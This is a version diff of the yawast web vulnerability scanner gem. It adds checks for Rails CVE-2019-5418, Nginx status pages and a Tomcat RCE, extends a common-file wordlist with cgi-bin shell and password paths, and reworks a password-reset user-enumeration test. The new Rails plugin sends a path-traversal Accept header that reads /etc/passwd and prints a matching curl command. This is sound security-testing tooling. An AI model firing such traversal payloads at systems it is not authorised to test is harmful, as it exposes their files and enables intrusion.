yawast 0.7.0.beta2 → 0.7.0.beta3

checksums.yaml

@@ -1,7 +1,7 @@
 ---
 SHA1:
-  metadata.gz: 449a14e8b574b57874cdbb8fff80b11b667b1d81
-  data.tar.gz: 7a724b743c8d27f5a92b0e477d27adf06e5b837f
+  metadata.gz: 7b0bb4cac61cb155a8c1bd6ac9393bfd7191e617
+  data.tar.gz: 11d3f67fb4d47496a67021a9802138713d167892
 SHA512:
-  metadata.gz: 8e692349d710ad580cb80b027e7bd1da180e954a3dad1f9d4f493802c9c4f4cd5a0909ad2afd62429d6c2c7b61711ef24f3e887262b5fe899dcde3e316feb09f
-  data.tar.gz: 68f55b6ff5fd2e62d0b608ac3c6afa981f9cd59d69cc2de34878b7e9d60e929232043d022d3549b5a8ad0d3f29a0a22fbdb4e502b6c48b6a0570a6db34da4b3b
+  metadata.gz: 36da9932032084faf8641741829ad7df7a2bdfa8be6f7c73ad05e6f3a0cedce7092b59be3dbd935b25ffe4ac3d7b22aaffffb55ba3fd6eba4b0219e12a75241d
+  data.tar.gz: a0f36333064f4299d03ba7139fe6fe8821929107730c9b5cdbfe584977be05ee211ffeb3dd1fe1bd33261285015725cc77f77abd99b2c8898fc7e841468140b3

data/.rubocop.yml

@@ -27,3 +27,9 @@ Style/RedundantBegin:
 
 Style/SafeNavigation:
   Enabled: false
+
+Style/WordArray:
+  Enabled: false
+
+Style/Next:
+  Enabled: false

data/CHANGELOG.md

@@ -13,6 +13,9 @@
 * [#148](https://github.com/adamcaudill/yawast/issues/148) - Added `--vuln_scan` option to enable new vulnerability scanner
 * [#151](https://github.com/adamcaudill/yawast/issues/151) - User Enumeration via Password Reset Form Timing Differences
 * [#152](https://github.com/adamcaudill/yawast/issues/152) - Add check for 64bit TLS Cert Serial Numbers
+* [#156](https://github.com/adamcaudill/yawast/issues/156) - Check for Rails CVE-2019-5418
+* [#157](https://github.com/adamcaudill/yawast/issues/157) - Add check for Nginx Status Page
+* [#158](https://github.com/adamcaudill/yawast/issues/158) - Add check for Tomcat RCE CVE-2019-0232
 * [#130](https://github.com/adamcaudill/yawast/issues/130) - Bug: HSTS Error leads to printing HTML
 * [#132](https://github.com/adamcaudill/yawast/issues/132) - Bug: Typo in SSL Output
 * [#142](https://github.com/adamcaudill/yawast/issues/142) - Bug: Error In Collecting DNS Information

data/README.md

@@ -53,7 +53,7 @@ The following tests are performed:
 * *(Generic)* Presence of readme.html
 * *(Generic)* Presence of CHANGELOG.txt
 * *(Generic)* Missing cookie flags (Secure, HttpOnly, and SameSite)
-* *(Generic)* Search for 14,169 common files (via `--files`) & 21,332 common directories (via `--dir`)
+* *(Generic)* Search for 14,405 common files (via `--files`) & 21,332 common directories (via `--dir`)
 * *(Apache)* Info Disclosure: Module listing enabled
 * *(Apache)* Info Disclosure: Server version
 * *(Apache)* Info Disclosure: OpenSSL module version
@@ -65,7 +65,10 @@ The following tests are performed:
 * *(Apache Tomcat)* Tomcat Host Manager Weak Password
 * *(Apache Tomcat)* Tomcat version detection via invalid HTTP verb
 * *(Apache Tomcat)* Tomcat PUT RCE (CVE-2017-12617)
+* *(Apache Tomcat)* Tomcat Windows RCE (CVE-2019-0232)
 * *(Apache Struts)* Sample files which may be vulnerable
+* *(Nginx)* Info Disclosure: Server version
+* *(Nginx)* Info Disclosure: Server status
 * *(IIS)* Info Disclosure: Server version
 * *(ASP.NET)* Info Disclosure: ASP.NET version
 * *(ASP.NET)* Info Disclosure: ASP.NET MVC version
@@ -74,6 +77,7 @@ The following tests are performed:
 * *(ASP.NET)* Debugging Enabled
 * *(nginx)* Info Disclosure: Server version
 * *(PHP)* Info Disclosure: PHP version
+* *(Rails)* File Content Disclosure: CVE-2019-5418
 
 CMS Detection:
 

data/lib/resources/common_file.txt

@@ -3851,6 +3851,7 @@ bottom.php
 bounce.php
 boutique.html
 boutique.php
+bower.json
 box.gif
 box.php
 br.asp
@@ -4183,7 +4184,213 @@ cfg.php
 cfgECText.cfm
 cgi-bin.bak
 cgi-bin.old
+cgi-bin/.access
+cgi-bin/.htaccess
+cgi-bin/.htaccess.old
+cgi-bin/.htaccess.save
+cgi-bin/.htaccess~
+cgi-bin/.htpasswd
+cgi-bin/.passwd
+cgi-bin/.www_acl
+cgi-bin/.wwwacl
+cgi-bin//_vti_bin/fpcount.exe
+cgi-bin/CGImail.exe
+cgi-bin/Cgitest.exe
+cgi-bin/FormMail.cgi
+cgi-bin/MachineInfo
+cgi-bin/Pbcgi.exe
+cgi-bin/Upload.pl
+cgi-bin/WINDMAIL.EXE
+cgi-bin/add_ftp.cgi
+cgi-bin/addbanner.cgi
+cgi-bin/adduser.cgi
+cgi-bin/admin.php
+cgi-bin/admin.pl
+cgi-bin/adminwww.cgi
+cgi-bin/af.cgi
+cgi-bin/aglimpse
+cgi-bin/aglimpse.cgi
+cgi-bin/alienform.cgi
+cgi-bin/amadmin.pl
+cgi-bin/ans.pl
+cgi-bin/architext_query.cgi
 cgi-bin/awstats.pl
+cgi-bin/badmin.cgi
+cgi-bin/banner.cgi
+cgi-bin/bannereditor.cgi
+cgi-bin/bash
+cgi-bin/bigconf.cgi
+cgi-bin/book.cgi
+cgi-bin/build.cgi
+cgi-bin/cached_feed.cgi
+cgi-bin/cachemgr.cgi
+cgi-bin/calendar.php
+cgi-bin/calendar.pl
+cgi-bin/cart.pl
+cgi-bin/cart32.exe
+cgi-bin/cartmanager.cgi
+cgi-bin/ccbill-local.cgi
+cgi-bin/ccbill-local.pl
+cgi-bin/cfgwiz.exe
+cgi-bin/cgi-lib.pl
+cgi-bin/cgi-test.exe
+cgi-bin/cgimail.exe
+cgi-bin/cgitest.exe
+cgi-bin/change-your-password.pl
+cgi-bin/clickcount.pl
+cgi-bin/clickresponder.pl
+cgi-bin/cmd.exe
+cgi-bin/cmd1.exe
+cgi-bin/code.php
+cgi-bin/code.php3
+cgi-bin/com5.java
+cgi-bin/com5.pl
+cgi-bin/commandit.cgi
+cgi-bin/commerce.cgi
+cgi-bin/common.php
+cgi-bin/compatible.cgi
+cgi-bin/contents.htm
+cgi-bin/count.cgi
+cgi-bin/csh
+cgi-bin/cstat.pl
+cgi-bin/db_manager.cgi
+cgi-bin/dbmlparser.exe
+cgi-bin/diagnose.cgi
+cgi-bin/dig.cgi
+cgi-bin/download.cgi
+cgi-bin/dumpenv.pl
+cgi-bin/edit.pl
+cgi-bin/enter.cgi
+cgi-bin/environ.cgi
+cgi-bin/environ.pl
+cgi-bin/finger.pl
+cgi-bin/flexform.cgi
+cgi-bin/formmail.cgi
+cgi-bin/formmail.pl
+cgi-bin/foxweb.dll
+cgi-bin/foxweb.exe
+cgi-bin/fpadmin.htm
+cgi-bin/fpremadm.exe
+cgi-bin/fpsrvadm.exe
+cgi-bin/ftp.pl
+cgi-bin/ftpsh
+cgi-bin/generate.cgi
+cgi-bin/get32.exe
+cgi-bin/getdoc.cgi
+cgi-bin/gm.cgi
+cgi-bin/guestbook.cgi
+cgi-bin/guestbook.pl
+cgi-bin/handler.cgi
+cgi-bin/hello.bat
+cgi-bin/hitview.cgi
+cgi-bin/hpnst.exe
+cgi-bin/htimage.exe
+cgi-bin/html2chtml.cgi
+cgi-bin/html2wml.cgi
+cgi-bin/htsearch.cgi
+cgi-bin/imagemap
+cgi-bin/imagemap.exe
+cgi-bin/index.pl
+cgi-bin/infosrch.cgi
+cgi-bin/input.bat
+cgi-bin/journal.cgi
+cgi-bin/ksh
+cgi-bin/listrec.pl
+cgi-bin/loadpage.cgi
+cgi-bin/log-reader.cgi
+cgi-bin/logi.php
+cgi-bin/login
+cgi-bin/logit.cgi
+cgi-bin/logs.pl
+cgi-bin/mailform.exe
+cgi-bin/mailit.pl
+cgi-bin/main.cgi
+cgi-bin/main_menu.pl
+cgi-bin/majordomo.pl
+cgi-bin/man.sh
+cgi-bin/meta.pl
+cgi-bin/minimal.exe
+cgi-bin/mkilog.exe
+cgi-bin/mkplog.exe
+cgi-bin/moin.cgi
+cgi-bin/mrtg.cgi
+cgi-bin/noshell
+cgi-bin/nph-error.pl
+cgi-bin/nph-maillist.pl
+cgi-bin/pass
+cgi-bin/passwd
+cgi-bin/passwd.txt
+cgi-bin/password
+cgi-bin/perl
+cgi-bin/perl.exe
+cgi-bin/php.ini
+cgi-bin/post16.exe
+cgi-bin/post32.exe
+cgi-bin/post_query
+cgi-bin/postcards.cgi
+cgi-bin/ppdscgi.exe
+cgi-bin/printenv
+cgi-bin/printenv.pl
+cgi-bin/processit.pl
+cgi-bin/profile.cgi
+cgi-bin/quikstore.cfg
+cgi-bin/redir.exe
+cgi-bin/register.cgi
+cgi-bin/responder.cgi
+cgi-bin/retrieve_password.pl
+cgi-bin/rguest.exe
+cgi-bin/rksh
+cgi-bin/rmp_query
+cgi-bin/robpoll.cgi
+cgi-bin/rsh
+cgi-bin/search
+cgi-bin/search.php
+cgi-bin/sendform.cgi
+cgi-bin/sendpage.pl
+cgi-bin/sendtemp.pl
+cgi-bin/sh
+cgi-bin/shop.cgi
+cgi-bin/show.pl
+cgi-bin/showuser.cgi
+cgi-bin/shtml.dll
+cgi-bin/simplestguest.cgi
+cgi-bin/simplestmail.cgi
+cgi-bin/stat.pl
+cgi-bin/stats.pl
+cgi-bin/stats.prf
+cgi-bin/statsconfig
+cgi-bin/statusconfig.pl
+cgi-bin/statview.pl
+cgi-bin/store.cgi
+cgi-bin/survey
+cgi-bin/survey.cgi
+cgi-bin/tablebuild.pl
+cgi-bin/tcsh
+cgi-bin/test-cgi.bat
+cgi-bin/test-cgi.exe
+cgi-bin/test-cgi.tcl
+cgi-bin/test.bat
+cgi-bin/test2.pl
+cgi-bin/textcounter.pl
+cgi-bin/title.cgi
+cgi-bin/traffic.cgi
+cgi-bin/tst.bat
+cgi-bin/upload.cgi
+cgi-bin/viewlogs.pl
+cgi-bin/visadmin.exe
+cgi-bin/visitor.exe
+cgi-bin/vote.cgi
+cgi-bin/wais.pl
+cgi-bin/wconsole.dll
+cgi-bin/webfind.exe
+cgi-bin/webif.cgi
+cgi-bin/webmap.cgi
+cgi-bin/webplus.exe
+cgi-bin/windmail
+cgi-bin/windmail.exe
+cgi-bin/wrap.cgi
+cgi-bin/wwwadmin.pl
+cgi-bin/zsh
 cgi.bin
 cgi.pl/
 cgu.htm
@@ -6855,6 +7062,7 @@ groupmgr.php
 groupmsg.php
 groups.html
 groups.php
+gruntfile.js
 gs.php
 gsearch.html
 gsearch.php

data/lib/scanner/core.rb

@@ -69,6 +69,7 @@ module Yawast
 
               # server specific checks
               Yawast::Scanner::Plugins::Servers::Apache.check_all(@uri)
+              Yawast::Scanner::Plugins::Servers::Nginx.check_all(@uri)
               Yawast::Scanner::Plugins::Servers::Iis.check_all(@uri, head)
 
               Yawast::Scanner::Plugins::Http::FilePresence.check_all @uri, options.files
@@ -77,9 +78,9 @@ module Yawast
               Yawast::Scanner::Plugins::Http::Generic.check_propfind(@uri)
               Yawast::Scanner::Plugins::Http::Generic.check_options(@uri)
               Yawast::Scanner::Plugins::Http::Generic.check_trace(@uri)
-            end
 
-            Yawast::Scanner::Plugins::Spider::Spider.spider(@uri) if options.spider
+              Yawast::Scanner::Plugins::Spider::Spider.spider(@uri) if options.spider
+            end
 
             # check for common directories
             if options.dir

data/lib/scanner/plugins/applications/cms/generic.rb

@@ -10,7 +10,17 @@ module Yawast
               regex = /<meta name="generator[^>]+content\s*=\s*['"]([^'"]+)['"][^>]*>/
               match = body.match regex
 
-              Yawast::Utilities.puts_info "Meta Generator: #{match[1]}" if match
+              if match
+                Yawast::Utilities.puts_info "Meta Generator: #{match[1]}"
+
+                Yawast::Shared::Output.log_hash 'vulnerabilities',
+                                                'cms_meta_generator_exposed',
+                                                {vulnerable: true, generator: match[1]}
+              else
+                Yawast::Shared::Output.log_hash 'vulnerabilities',
+                                                'cms_meta_generator_exposed',
+                                                {vulnerable: false, generator: nil}
+              end
             end
           end
         end

data/lib/scanner/plugins/applications/framework/rails.rb

@@ -0,0 +1,39 @@
+# frozen_string_literal: true
+
+module Yawast
+  module Scanner
+    module Plugins
+      module Applications
+        module Framework
+          class Rails
+            def self.check_all(uri, links)
+              check_cve_2019_5418 links
+            end
+
+            def self.check_cve_2019_5418(links)
+              Yawast::Shared::Output.log_hash 'vulnerabilities',
+                                              'rails_cve_2019_5418',
+                                              {vulnerable: false, body: nil}
+
+              links.each do |link|
+                # this only applies to controllers, so skip the check unless the link ends with '/'
+                next unless link.to_s.end_with? '/'
+
+                body = Yawast::Shared::Http.get(URI.parse(link), {'Accept' => '../../../../../../../../../etc/passwd{{'})
+                if body.include? 'root:'
+                  Yawast::Utilities.puts_vuln 'Rails CVE-2019-5418: File Content Disclosure'
+                  Yawast::Utilities.puts_raw "\tcurl -H 'Accept: ../../../../../../../../../etc/passwd{{' #{link}"
+
+                  Yawast::Shared::Output.log_hash 'vulnerabilities',
+                                                  'rails_cve_2019_5418',
+                                                  {vulnerable: true, body: body, uri: link}
+                  break
+                end
+              end
+            end
+          end
+        end
+      end
+    end
+  end
+end

data/lib/scanner/plugins/applications/generic/password_reset.rb

@@ -10,11 +10,7 @@ module Yawast
         module Generic
           class PasswordReset
             def self.setup
-              @reset_page = if Yawast.options.pass_reset_page.nil?
-                              Yawast::Utilities.prompt 'What is the application password reset page?'
-                            else
-                              Yawast.options.pass_reset_page
-                            end
+              @reset_page = Yawast.options.pass_reset_page
 
               @valid_user = if Yawast.options.user.nil?
                               Yawast::Utilities.prompt 'What is a valid user?'
@@ -23,6 +19,7 @@ module Yawast
                             end
 
               @timing = {true => [], false => []}
+              @element_name = nil
             end
 
             def self.check_resp_user_enum
@@ -94,12 +91,12 @@ module Yawast
                                                    invalid_4: @timing[false][3], invalid_5: @timing[false][4]}
                 end
               rescue ArgumentError => e
-                Yawast::Utilities.puts "Unable to find a matching element to perform the User Enumeration via Password Reset Response test (#{e.message})"
+                Yawast::Utilities.puts_error "Unable to find a matching element to perform the User Enumeration via Password Reset Response test (#{e.message})"
               end
             end
 
             def self.fill_form_get_body(uri, user, valid, log_output)
-              options = Selenium::WebDriver::Chrome::Options.new({args: ['headless']})
+              options = Selenium::WebDriver::Chrome::Options.new({args: ['headless', 'incognito']})
 
               # if we have a proxy set, use that
               if !Yawast.options.proxy.nil?
@@ -115,6 +112,18 @@ module Yawast
               # find the page form element - this is going to be a best effort thing, and may not always be right
               element = find_user_field driver
 
+              # the element may not actually be visible yet (heavy JS pages)
+              # so, we'll go into a loop for a few seconds to see if it'll show up
+              counter = 0
+              unless element.displayed?
+                until element.displayed?
+                  sleep 0.5
+                  counter += 1
+
+                  break if counter > 20
+                end
+              end
+
               element.send_keys user
 
               beginning_time = Time.now
@@ -155,22 +164,39 @@ module Yawast
               element = find_element driver, 'forgetPasswordEmailOrUsername'
               return element unless element.nil?
 
+              element = find_element driver, 'username'
+              return element unless element.nil?
+
               # if we got here, it means that we don't have an element we know about, so we have to prompt
-              Yawast::Utilities.puts_raw 'Unable to find a known element to enter the user name. Please identify the proper element.'
-              Yawast::Utilities.puts_raw 'If this element name seems to be common, please request that it be added: https://github.com/adamcaudill/yawast/issues'
-              element_name = Yawast::Utilities.prompt 'What is the user/email entry element name?'
-              element = find_element driver, element_name
+              if @element_name.nil?
+                Yawast::Utilities.puts_raw 'Unable to find a known element to enter the user name. Please identify the proper element.'
+                Yawast::Utilities.puts_raw 'If this element name seems to be common, please request that it be added: https://github.com/adamcaudill/yawast/issues'
+                @element_name = Yawast::Utilities.prompt 'What is the user/email entry element name?'
+              end
+              element = find_element driver, @element_name
               return element unless element.nil?
 
               raise ArgumentError, 'No matching element found.'
             end
 
             def self.find_element(driver, name)
+              ret = nil
+
+              # first, check by name
               begin
-                return driver.find_element({name: name})
-              rescue ArgumentError
-                return nil
+                ret =  driver.find_element({name: name})
+              rescue # rubocop:disable Style/RescueStandardError, Lint/HandleExceptions
+                # do nothing
               end
+
+              # next, maybe it's id instead of name
+              begin
+                ret =  driver.find_element({id: name})
+              rescue # rubocop:disable Style/RescueStandardError, Lint/HandleExceptions
+                # do nothing
+              end
+
+              ret
             end
           end
         end